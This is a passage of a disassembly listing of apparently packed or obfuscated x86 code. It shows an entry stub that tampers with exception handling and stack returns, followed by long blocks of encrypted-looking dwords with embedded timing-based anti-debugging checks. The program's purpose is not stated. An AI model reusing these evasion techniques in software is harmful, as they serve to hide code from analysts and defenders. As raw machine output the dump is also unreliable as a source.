eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+60736E0h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push ecx call sub_53F26B and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53F26B proc near ; CODE XREF: start+5F24Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_53F26B endp ; --------------------------------------------------------------------------- db 3 aHauS db 'h€ãÄé',0Ah,0 align 4 dd 0CCACC800h, 5BB71547h, 2B1F65B6h, 25F8C2h, 53FFFFF0h dd 0A800Fh, 5E90000h, 89000000h, 97871FB7h, 0D88B665Bh dd 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h, 503A81D0h dd 74000045h, 10002D08h, 0EB470000h, 58F64E3h, 0 dd 8D04C483h, 736F395h, 0FF645206h, 35h, 25896400h, 0 dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh dd 0EB447400h, 58F64E8h, 0 dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 244C8B51h, 0E85510h, 5D000000h, 36FEED81h, 858D0607h dd 60736BCh, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h dd 816604C4h, 8ABB73F3h, 0D98C66D9h, 0F274F381h, 99B77CCFh dd 0BB04E180h, 5C0A571Dh, 850FC90Ah, 43h, 0C7DF8B66h, 732B185h dd 106h, 0EB816600h, 3FE9EB5Ch, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A9E4C352h dd 7890Fh, 830F0000h, 1, 0C758B3FCh, 732B185h, 6, 0F8BE6000h dd 0B32C1395h, 858961B4h, 6072939h, 0F5C9BB66h, 1CBD8589h dd 0EE80607h, 0E1000000h, 0DB3E9B78h, 0B839E81Ch, 0E11BAF9Ah dd 38B0F2Ah, 66000000h, 8A58D88Bh, 8CC081EBh, 0BF00006Eh dd 25434F2Dh, 1B7ABEh, 0DAB70F00h, 18B9108Bh, 8150AA3Dh dd 0C4CFCAC2h, 0EA81FC27h, 58A81740h, 54F281F8h, 523B96ADh dd 8FD88B66h, 75F78100h, 83512527h, 840F04E8h, 1, 1EE83FCh dd 15850Fh, 66600000h, 0F78BD88Bh, 35E961h, 0B1220000h dd 9DB7C7C0h, 0E814507Bh, 0Fh, 0D1E6E05Eh, 0A998AAD1h dd 52F60973h, 53774429h, 95E95F5Bh, 3EFFFFFFh, 39E81CDBh dd 1BAF9AB8h, 0DCF92AE1h, 0E99133D8h, 701h, 0FA8B6660h dd 1761F88Bh, 12000002h, 0F000000h, 0C8Ch, 7E900h, 0E1C20000h dd 81C9EAD3h, 0F5F3h, 0D9D8B60h, 89060715h, 71BA98Dh, 0F5606106h dd 0BD09C02Bh, 6073041h, 2824548Bh, 68E0Fh, 0BD010000h dd 6071DB9h, 0E398589h, 60600607h, 1295858Bh, 8D290607h dd 6070A85h, 0EE961h, 0E0740000h, 879C075Ch, 6D05FB0Ah dd 0A358555Fh, 3CBE61h, 0B5890000h, 6071D1Dh, 24247403h dd 68E0Fh, 85890000h, 6071C1Dh, 8C0FAD66h, 0Ch, 68F0Fh dd 9D890000h, 60714B1h, 14E9h, 515D8D00h, 2F58810Ch, 18422978h dd 0C11BCF9Fh, 0DC72675h, 244403F4h, 8D896024h, 60732F9h dd 8E8h, 5175CA00h, 7DBAC554h, 5B6160D4h, 890F5061h, 0Ch dd 6830Fh, 820F0000h, 0 dd 0F240489h, 684h, 0EDBD8900h, 0E9060731h, 8, 2FDED5A2h dd 0C21F4CAEh, 978408Bh, 703C985h, 24440306h, 0BE928h dd 0EB940000h, 78D6925h, 4C1943A7h, 18408BF0h, 1B91B589h dd 8D310607h, 6073271h, 0DD8D2940h, 8906071Ah, 7386285h dd 0E810F06h, 60000000h, 1609952Bh, 0B5290607h, 6070EC9h dd 800F5861h, 6, 425BD29h, 0BD890607h, 6072CEDh, 0F578708Bh dd 0BE9h, 98F24500h, 0E6C3BF61h, 50F28DC2h, 0F1CC683h dd 68Dh, 21BD2900h, 3060704h, 0F5242474h, 2D69BD8Dh, 0B5010607h dd 6072619h, 2EE58D89h, 0FAD0607h, 0C89h, 68E0F00h, 9000000h dd 73091B5h, 24440306h, 18C0F24h, 0F5000000h, 0FE9ABh dd 999A0000h, 1AAF7307h, 8A19D9DDh, 239DAF6Ch, 0EDBD8D42h dd 89060712h, 70C598Dh, 8E0FAD06h, 8, 0AD858B60h, 61060718h dd 1B5DBD89h, 44030607h, 8D892424h, 6071171h, 0EE990h dd 6A3C0000h, 56B53E6Dh, 422C9774h, 5613F33Dh, 0C860F50h dd 0F000000h, 683h, 8A0F00h, 90000000h, 8BC88B60h, 71BD58Dh dd 0F9AB6106h, 0B95BD8Dh, 13E90607h, 0C5000000h, 4D4C64DCh dd 8B586D34h, 0B85D627h, 0A449C6EDh, 0F9AD7272h, 28244403h dd 6E9h, 0B0A21400h, 600B8E48h, 14E8h, 0B1803C00h, 0BCEC1FD6h dd 6B3FD78Eh, 5122E450h, 25ADE0EBh, 29B509FBh, 58060705h dd 29AB61F9h, 704099Dh, 8C0F5E06h, 0Dh, 0F3816660h, 0B52995CDh dd 60704E1h, 628DFF61h, 83060738h, 73862BDh, 10750006h dd 1C2444C7h, 0 dd 3D1EB58Dh, 0E6FF0607h, 4403AD56h, 8B972824h, 25858ADFh dd 84060715h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 70E3985h, 0FF6FE906h dd 315EFFFFh, 716098Dh, 858BF806h, 6070E39h, 0DE9h, 0EF168700h dd 47C55B7Ch, 8EFF8EB4h, 0E0D16990h, 21099589h, 85030607h dd 6070B95h, 10E9h, 0F241A100h, 740EF95Ch, 0B8CFA6CFh dd 0E3D1C8A0h, 0BE1Dh, 8E0F0000h, 6, 1AEDB589h, 0F960607h dd 681h, 11BD8900h, 66060721h, 798589ADh, 0C106071Eh, 0B58902E0h dd 6070435h, 2D698503h, 8D290607h, 6070425h, 0C8A0F96h dd 0F000000h, 685h, 0B9858900h, 0AD06072Dh, 244C8BF9h dd 4403FC24h, 8B602424h, 72F1585h, 9E806h, 0A13B0000h dd 0CF98F0E1h, 66F1D87Ah, 5EB5DCB8h, 24448961h, 3585891Ch dd 96060726h, 0BE98D31h, 0F9AC0607h, 9509C932h, 60712FDh dd 8F0F6060h, 0 dd 8A0Fh, 66610000h, 7917D281h, 89C1FE61h, 721499Dh, 0D0D0F506h dd 99830Fh, 0BF600000h, 7E6C8BEFh, 0A3EB8166h, 0D0D0613Ah dd 85830Fh, 8B0F0000h, 8, 2800Fh, 61600000h, 820FD0D0h dd 6Fh, 0F3816660h, 0BD89568Eh, 6072D89h, 0FD0D061h, 5A82h dd 9DB58900h, 0FE060710h, 0AB890FC9h, 60FFFFFFh, 1AB1958Bh dd 7DB00607h, 20C48361h, 12E9BD89h, 44C70607h, 0FC24h dd 95890000h, 607323Dh, 1B8h, 8D8DF800h, 6076EC1h, 11E9h dd 24438400h, 8684E1ADh, 6C1E77AAh, 18154EE3h, 0E1FF39C8h dd 1870Fh, 0C6FC0000h, 7152585h, 0AE90006h, 16000000h dd 0FE83FE8Dh, 377E37B9h, 666061ADh, 61AE15B8h, 0FC0008C2h dd 158B0F96h, 0F000000h, 0F8Fh, 0AE900h, 78360000h, 1A2A5896h dd 94A2100Ah, 49BE6050h, 0F5314BEh, 383h, 0C88B6600h, 89F89661h dd 73F2CB5h, 258D2906h, 0F5060704h, 3F518D89h, 840F0607h dd 6, 0A3DB501h, 0B58D0607h, 6073DEDh, 14398589h, 858D0607h dd 5B7E35h, 8B666060h, 61DAB0CBh, 0D0FF61FCh, 9E9h, 0AB569200h dd 0ECFB13A6h, 605EE3D8h, 0C99B589h, 8E80607h, 0F4000000h dd 0EECA325Dh, 299D85D8h, 707999Dh, 29615E06h, 7305D95h dd 0BE9C306h, 0AA000000h, 6F6506B7h, 0BD72B164h, 0B58BFBF5h dd 6073F2Ch, 6820Fh, 85090000h, 607048Dh, 3F518D8Bh, 0F8600607h dd 0DECCC3B8h, 0C02B6152h, 3659501h, 8F0F0607h, 1, 0FD98BF5h dd 0C8Fh, 6810F00h, 0F000000h, 8Bh, 0D0E900h, 13E90000h dd 10000000h, 94DAB6C6h, 0F275F5AFh, 0CF57EC68h, 0ED14D63h dd 2632DC9Ch, 0BE9h, 1BE83E00h, 9A12F958h, 8E7C9491h, 0E96002B2h dd 0Bh, 0C361B420h, 0CFFDEDA0h, 613C0489h, 65E9h, 0BAF56000h dd 3C9617B3h, 0F5C23261h, 751D7A05h, 499D898Ah, 8A06070Eh dd 0C8D3F5CCh, 6870Fh, 0BD310000h, 60700A9h, 0D1084235h dd 1D8D0F98h, 60000000h, 0FE8h, 823C300h, 7CFB0390h, 6553B127h dd 7CD7852Ah, 8DB5035Eh, 61060704h, 870FCAFEh, 0Eh, 9E9h dd 52D90400h, 0A2DA8C02h, 0D20AB0C6h, 0FF9B850Fh, 9589FFFFh dd 6071819h, 19F98589h, 0F4B0607h, 68Ah, 119D8900h, 46060716h dd 0B499D31h, 0DB0B0607h, 0FF40850Fh, 6660FFFFh, 0F34E8BFh dd 68Dh, 0E1850900h, 6106071Bh, 0B96660CFh, 958B1ADBh dd 6071DA9h, 60000061h, 4890Fh, 0BA660000h, 0AE912F4h dd 70000000h, 0B593D2FAh, 35F25009h, 61A0h, 12359589h dd 607h, 890000F9h, 72935BDh, 8D858D06h, 89060738h, 70459BDh dd 9858906h, 29060720h, 70B65B5h, 13E906h, 7FD20000h, 0CFDBDF15h dd 0D2AF9BA7h, 0F986F5F6h, 983A5480h, 3F858D19h, 8906073Dh dd 712898Dh, 39858906h, 0E8060704h, 0Ah, 3D16A50Ch, 3F65967Fh dd 0D080F1E9h, 0C3815B06h, 5CB1h, 991E6DB9h, 1712BF40h dd 8D090000h, 6070149h, 81F9138Bh, 0FEEE9AF2h, 0A6F2817Ch dd 2B286561h, 70F898Dh, 0ECEA8106h, 662F5987h, 0A69DEE81h dd 0BF0F1389h, 29EB81C9h, 0F454D42h, 0C381CFBFh, 454D4225h dd 3029858Bh, 0EF830607h, 0BD850F01h, 81FFFFFFh, 0D7A1BEDEh dd 14EB33h, 3 dup(0) dd 8B000000h, 8D000000h, 740D485h, 21858906h, 83060701h dd 7401EBDh, 840F0006h, 12Bh, 152585C6h, 68560607h, 0AC79E73Dh dd 4243481h, 0FF78668Ah, 72939B5h, 8D858D06h, 0FF060738h dd 128589D0h, 0C6060740h, 7152585h, 17685606h, 81DB9B3Eh dd 86452434h, 0B5FF4733h, 6072939h, 388D858Dh, 0D0FF0607h dd 40168589h, 46A0607h, 0F470E468h, 240481C7h, 380B9F1Ch dd 4022858Bh, 0F4050607h, 0C1000001h, 509002E0h, 0FF006A90h dd 7401695h, 1A858906h, 8B060740h, 0FFFFB8D8h, 95FFFFFFh dd 6070121h, 95FFC38Bh, 6070121h, 96E9h, 1EBD8300h, 60740h dd 1850Fh, 57C30000h, 401ABD8Bh, 83AB0607h, 7401A85h, 0C35F0406h dd 401EBD83h, 0F000607h, 185h, 8360C300h, 7401AADh, 9D8B0406h dd 607401Ah, 0FFFC7B83h, 26850Fh, 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 7401295h, 0E9C36106h, 26h, 4E8h, 800000h, 448B5000h dd 8B0424h, 4244489h, 0FF006A58h, 1295FF33h, 83060740h dd 7401AADh, 9FE90406h, 48FFFFFFh, 9D3E9h, 0E5CA2400h dd 0A9DA1486h, 9FBED009h, 3DFC5356h, 1ACF107h, 590AF9DCh dd 0F3C223EEh, 33D4019Bh, 0E5EC7947h, 0A5981F8Bh, 0CDA9C201h dd 3AEE4205h, 6EE7FE42h, 530089BFh, 0FFC33EFAh, 31D401C9h dd 0E5EF7641h, 0BA98058Bh, 0CDB6D81Ch, 21F05E1Bh, 5E9EA55h dd 444CBDDCh, 0B2D23EFEh, 249A009Bh, 0E5F96241h, 0BBD70392h dd 0C3B6D61Ch, 63h dup(0) dd 0E5CA2400h, 0B5D61E8Fh, 0CDA9D81Ah, 29F24906h, 44A4F255h dd 161FB8DAh, 0BDC328F9h, 28D512C9h, 0B7AB7340h, 0B5D61F97h dd 84FBD000h, 21E41B18h, 17E9E152h, 5318AACBh, 0DEAC63F6h dd 3CDF18B9h, 0E5A7725Dh, 0B3D41F97h, 84FBD30Fh, 3CFB1B02h dd 9E9FE48h, 4403B4D7h, 0BDC76DE2h, 38C8548Dh, 0B7EA635Dh dd 0B3C15196h, 9DFBC51Bh, 3CFA5404h, 0E7FE46h, 48h dup(0) dd 0E5CA2400h, 0BFD90381h, 0CAA9D205h, 21E91B05h, 0CE9FF48h dd 544CAAD3h, 0F3C828FEh, 33CF1B8Fh, 0B0F9374Ah, 0B2D11F8Ch dd 83B29709h, 3BF24256h, 1DBAB355h, 5B09ADC1h, 83AB47B5h dd 2EDB1185h, 0B0AB3B4Bh, 0BDD71D8Ch, 99B2970Ah, 21EF5D56h dd 1A4B34Ah, 4F1EB6DFh, 0B7C82CBBh, 2EDF06C9h, 0B1F9765Ah dd 0A9D708C2h, 9FAB971Ch, 2FEF5C19h, 0BD4Ah, 61h dup(0) dd 0ACCD2400h, 0BF98148Eh, 98A9C501h, 2AF84F06h, 30E9BD06h dd 161FB0DAh, 0B4C93FEBh, 7DD7159Bh, 0E5F87646h, 0B2DD1480h dd 83BADA4Eh, 22E84B1Fh, 0ACE746h, 5202B892h, 0AAC720BBh dd 50B0118Bh, 0B6AC6347h, 0BAD618C2h, 88AFD40Bh, 37FF1B12h dd 32E9F207h, 4519ABDBh, 0F3D422BBh, 3EDB068Ah, 0EBEF7245h dd 0B5D025C2h, 84BD971Dh, 39BD5E1Ah, 10EEFD48h, 4403AE92h dd 0BDC76DF0h, 2FD51990h, 394Bh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2C9EE9h, 0FCCFB600h, 8BDBBF0Fh, 0EE9C0h, 0B86F0000h dd 0E31C44C0h, 8A82A2BEh, 0C3322CA7h, 0FE952h, 2E450000h dd 5C062CDBh, 38CB444Dh, 0F0C21B7Ah, 0BD835AB3h, 6070211h dd 83097500h, 70D65BDh, 13740006h, 0C08B5350h, 1B8h, 4A9D8D00h dd 0FF0609A9h, 83585BD3h, 70D65BDh, 11740006h, 1B85350h dd 8D000000h, 9A7FB9Dh, 5BD3FF06h, 0BAADB258h, 5BB24F4h dd 8D09C08Bh, 60721B5h, 19C1BD83h, 0F000607h, 1CD84h, 61BD8900h dd 83060711h, 7114DBDh, 840F0006h, 1BAh, 9E9h, 0BBCA2100h dd 0A5AA9C3Ch, 0B6607764h, 4D858B98h, 0F060711h, 0E805DABFh dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 5F81C350h, 7428EBD9h, 60504BF1h dd 0E9616060h, 6, 0D5397F06h, 0B36141E3h, 48961D1h, 10E924h dd 72D70000h, 75743C53h, 0EFF6FC5Bh, 1DAAC45Ch, 858D47FFh dd 6074B2Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 93C35040h, 10E95Eh, 339B0000h, 3B9E4E8Ah, 88DD8373h dd 0F5C43DADh, 505048FCh, 50525052h, 5A310F52h, 60310F58h dd 0F585A61h, 7E831h, 4C690000h, 0C3F1DCA0h, 0F525030h dd 5B585A31h, 489585Ah, 8D8B6024h, 60731C1h, 0CB19589h dd 0F610607h, 887h, 2830F00h, 8B000000h, 8858DDFh, 6A06074Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0DA3BC353h, 50F985E7h, 7E9h, 93D19800h, 9B2E05A2h dd 81240489h, 4DF17ADAh, 1D95FF5Ah, 3306070Fh, 72CD995h dd 0CC48306h, 32C9B589h, 858D0607h, 6074B08h, 1614BA66h dd 2CED958Bh, 0BA500607h, 6C235197h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 6ACCC352h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0C2AECD37h, 7495FF85h, 66006885h dd 7490DA81h, 0CE957h, 51240000h, 0E2BF3A55h, 0C64A4020h dd 615BDBA8h, 0A399503h, 85C70607h, 6074B3Bh, 1, 265958Bh dd 56500607h, 6880Fh, 52500000h, 585A310Fh, 2434895Bh dd 14E9h, 0D5792400h, 402EA8A3h, 77B9BE48h, 0EAA558E7h dd 0E55E098Bh, 0ECB58938h, 8906074Ah, 70EC18Dh, 0B1BD8306h dd 1060732h, 67850Fh, 95890000h, 6071875h, 0F05F883h, 5885h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 1CBB6A9Ah, 0DE800DC8h, 0B812h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 702BF6C3h, 30F956B0h, 259D33F5h, 23060714h, 705D19Dh dd 0E1BD8306h, 60711h, 0B840Fh, 0B80000h, 89000000h, 729358Dh dd 6A6006h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0D8721AC3h, 9D896179h, 60723DDh, 1A29858Bh dd 95890607h, 60701F1h, 0F59D8952h, 5A060704h, 8102C083h dd 10D9A9DAh, 0E4858912h, 6A06074Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7E7C352h dd 41958BA1h, 0C606072Dh, 6AFF00h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 233C30C3h, 0BD298CD3h dd 6071FB9h, 28B0Fh, 0D08B0000h, 152585C6h, 66530607h dd 687CEABAh, 0E56BCDD8h, 3481DF8Bh, 0DA850024h, 0B5FFF819h dd 6071CBDh, 116905BAh, 0F4858D36h, 8B060A70h, 705F59Dh dd 89D0FF06h, 71A4D9Dh, 69858906h, 6606071Bh, 0BD83D38Bh dd 6071BADh, 2B850F01h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 51B3C350h dd 8986050Ah, 0E8CA755Dh, 11h, 3C481EBBh, 0A224E29Bh, 7C620020h dd 0AEEDC35Ch, 80B4BB22h, 665A2D87h, 6189F3BBh, 152585C6h dd 0E9450607h, 6, 6AEFB476h, 7E9EBBEh, 0B8000000h, 45D4AF0Dh dd 4680D48h, 56DC3D2Fh, 8A0F60h, 50000000h, 815B6158h dd 17C62434h, 6A065Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 77B5B9C3h, 12E9h, 98BA1E00h, 1E57B599h dd 7FE56F4Ch, 7AA6108Eh, 0FF22D379h, 71CBDB5h, 8DD38B06h dd 0A70F485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0DFF83371h, 5810FC4h, 66000000h dd 9C46D281h, 9D8BD0FFh, 60718C5h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CF0A63C3h dd 0D0FFA45Ch, 0BE8h, 2386FF00h, 0D630F9Dh, 0D4BF5C38h dd 0A4EA8166h, 0BD835A08h, 607309Dh, 33850F01h, 51000001h dd 1A91958Bh, 8B5B0607h, 71A2985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 3F60F617h dd 9F9FA87Ah, 952B170Ch, 6072879h, 2E01DA81h, 0A0E94E67h dd 8B000000h, 72C659Dh, 83BA9006h, 50728E85h, 67E8B860h dd 0B95676CEh, 64211A47h, 6A90615Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5611C352h dd 0D1F01068h, 8A04BDBBh, 6A146AD9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1D52C351h dd 0BC7C4D7h, 21BA66A7h, 0D5BD0951h, 0FF06071Bh, 71B6995h dd 4D858906h, 5806071Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0E8C35242h, 0CABEBB3Ch, 80CF2282h, 850F0038h dd 0FFFFFF5Dh, 0C6D0BF0Fh, 6A0100h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5F5BCEC3h dd 0DA4E0E33h, 8D0F5756h, 0 dd 8C0F5A5Bh, 6, 2065958Bh, 33600607h, 705499Dh, 81616106h dd 8B52F6C3h, 0CDBD8310h, 60705h, 1E840Fh, 9D330000h, 6072619h dd 46B2FF6Ah, 1B6995FFh, 0BF0F0607h, 0FFEEE9D0h, 9509FFFFh dd 6071C4Dh, 5CD85C7h, 10607h, 9D330000h, 6070CA1h, 89DAB70Fh dd 74AF085h, 188B0F06h, 0E9000000h, 13h, 0E29B3C48h, 20A224h dd 0C35C7C62h, 8322AEEDh, 0E8C16182h, 8, 42B4EBE5h, 0BB975975h dd 68B0Fh, 958B0000h, 6071D7Dh, 0F0BA905Bh, 5061F8F2h dd 11E9h, 2B228600h, 0B8FF28ECh, 329E8770h, 5C16E28Dh dd 6690167Dh, 0FD1F7BAh, 28Ah, 6068B600h, 6ADE8B66h, 9D8B5005h dd 6070D69h, 8858D5Ah, 6A06074Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 8C81C350h dd 90492EE3h, 152280BAh, 0D78B5007h, 0FD9D0390h, 80060703h dd 858D5BEAh, 6074AF8h, 3880Fh, 8B660000h, 96B650D1h, 0E9240489h dd 8, 0EB4C5AD7h, 875C60DDh, 130195FFh, 6A0607h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0BD1595C3h, 8D8DBECEh, 6077773h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 4BC35242h, 546A8DCAh, 87F8CB84h dd 58501D6h, 0B060704h, 8D1174C0h, 74B0885h, 0D1FF5006h dd 4B268589h, 0AEB0607h, 4B2685C7h, 0FFFF0607h, 7E9FFFFh dd 0A9000000h, 853EBDC5h, 0EE9B1E3h, 4A000000h, 705D9225h dd 0C7628DB2h, 4F6B8C89h, 0E8606179h, 7, 0E6BA84E5h, 3E3296Bh dd 7290DB5h, 0FE95F06h, 2E000000h, 0E0598472h, 0B185F4CBh dd 0E23BFFA1h, 0C6614984h, 7152585h, 6A4D06h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 5FFEBC3h dd 958B9479h, 6072645h, 4E8h, 3576A800h, 0D68B66A4h, 8B24B250h dd 60042444h, 65C0BE66h, 0BB008B61h, 176A0F59h, 4244489h dd 11E858h, 3ED00000h, 44BC02A2h, 87A78BD8h, 0BAC08EAFh dd 0F6B33AAh, 0FF5AD1B7h, 71015B5h, 8E0F06h, 8D000000h dd 0A70F485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 688BAB01h, 0E8BAD0FFh, 89525A00h dd 7120185h, 0C6D18B06h, 7152585h, 6A4506h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0E4F4DCC3h dd 4A4914D6h, 0E8DE6805h, 4811148h, 29808B24h, 0D38B667Dh dd 1CBDB5FFh, 8B660607h, 0F4858DDFh, 89060A70h, 710198Dh dd 6AD0FF06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 928C352h, 0F9958BADh, 66060723h dd 45D381h, 191D8589h, 95890607h, 6070CB9h, 2379D9BAh dd 0FCD28B64h, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0FF44C355h, 2B6BD8A4h dd 0F6FC9C17h, 840F04C1h, 247h, 0E9DBB70Fh, 9, 82F96845h dd 93F0E22Fh, 0E6E9D3h, 880F0000h, 6, 0BBD958Bh, 0B58B0607h dd 6071B75h, 0AE9958Bh, 0C6810607h, 1180h, 0E3DB589h, 0BD830607h dd 6070E25h, 34850F00h, 0E8000000h, 0Fh, 622DE9B3h, 0D12F8727h dd 12AE5DF8h, 0F434EE9h, 68Ah, 28CB8100h, 5B1D8981h, 1849BD89h dd 67E90607h, 50000000h, 2F25BD89h, 835B0607h, 840F003Eh dd 56h, 68F0F57h, 31000000h, 71CC5B5h, 9605B06h, 7003585h dd 0E9146A06h, 0Ah, 0D144A311h, 2AD8BDA7h, 95FF399Ah, 6071B69h dd 9D8B61F5h, 6072CFDh, 0FFFFBEE9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 6C70C89h, 1 dd 86376DBBh, 6E820h, 380000h, 3B18EE0Ah, 0DBB70F60h, 8C0Fh dd 5B610000h, 4AF0BD83h, 0F050607h, 13E85h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 10E91D7Dh, 53000000h, 0A32890C7h, 61E5914Dh, 83008782h dd 8BEA00D8h, 1DB58BD9h, 66060719h, 64B9D08Bh, 8B000000h dd 727399Dh, 0E83E8006h, 46840Fh, 0CE800000h, 11BD8991h dd 0E906070Eh, 5Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 58C35545h, 77B49EB1h, 0E800A178h, 0Bh dd 984CA1CCh, 0C7DD10ABh, 664F3B0Ah, 5B4822BAh, 0C2057E80h dd 62840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 465890C3h, 0F49B5B3h, 0FFFF8085h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0E19036DDh, 50E90711h, 0E8000000h, 0Ah dd 992D563Ch, 0C611BE70h, 26BA2F65h, 5A402454h, 1D0DB589h dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 248CB4C3h, 6C06BC24h, 60CA6F6Bh, 65B58B52h dd 5B06072Dh, 21DDBD01h, 58610607h, 7C8DEB81h, 0BD8311B1h dd 60726A1h, 0BC840F00h, 8A000000h, 958960D7h, 6071A31h dd 152585C6h, 6A540607h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3A8EC355h, 8D890E3Ah dd 6071745h, 0DEACE468h, 0DA8B56BCh, 2434815Bh, 43901210h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 4C35040h dd 85EA819Ch, 0FF57D891h, 71CBDB5h, 0F4858D06h, 0B2060A70h dd 6AD0FF37h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0CCA7C355h, 0B3DA2B70h, 1D9503A8h dd 6A060733h, 39BA6600h, 0A1B5FF3Dh, 0BA060726h, 5EAF5D19h dd 8B66D0FFh, 816661D0h, 0C7028CCAh, 72FF985h, 106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0F930DBD2h, 0F6BA607Ah, 362F7C0h, 730959Dh, 0E36C6806h dd 0FCBA25DBh, 810317F4h, 0E3EC2434h, 0B70F25DBh, 66FF6ADBh dd 95FFD18Bh, 6070C31h, 11FD8589h, 3B60607h, 51006A61h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 31DF0B9Fh, 9BB5608Ah, 0BFDBD89h, 8A610607h, 0E85090D7h dd 7, 0A76CC2FFh, 0B2EF33EEh, 66905AC2h, 0E1BBCB81h, 321858Bh dd 0BF50607h, 40840FC0h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 892DC353h dd 49DF13CAh, 0C1858993h, 0FF06070Ah, 70A7195h, 0C890F06h dd 0F000000h, 68Dh, 59CB8100h, 0C76E1B2Ch, 713B585h, 106h dd 9933BB00h, 66562B72h, 5BB28EBAh, 791BD83h, 0F000607h dd 3384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 56168C9Eh, 2810Fh, 0F98A0000h, 1D8195FFh dd 0EA810607h, 16078C92h, 188DBD83h, 0F000607h, 1084h dd 3D9D2900h, 0B6060712h, 8995FF9Bh, 8B060710h, 2DBD83D6h dd 60719h, 3A840Fh, 1600000h, 7152995h, 0DA8B6606h, 9E961h dd 5F190000h, 0E2BF461h, 839B0ED6h, 70DFDBDh, 850F0006h dd 14h dd 17919D0Bh, 81660607h, 0FFD26FDAh, 7301D95h, 35EA8006h dd 15F5BD83h, 0F000607h, 4984h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 3E390603h dd 2860Fh, 0FC8A0000h, 8581D0B6h, 607302Dh, 4003h, 198D9D03h dd 85810607h, 60723A9h, 4003h, 9A5DB81h, 310F55E8h, 0E852006Ah dd 3, 5AC35A20h, 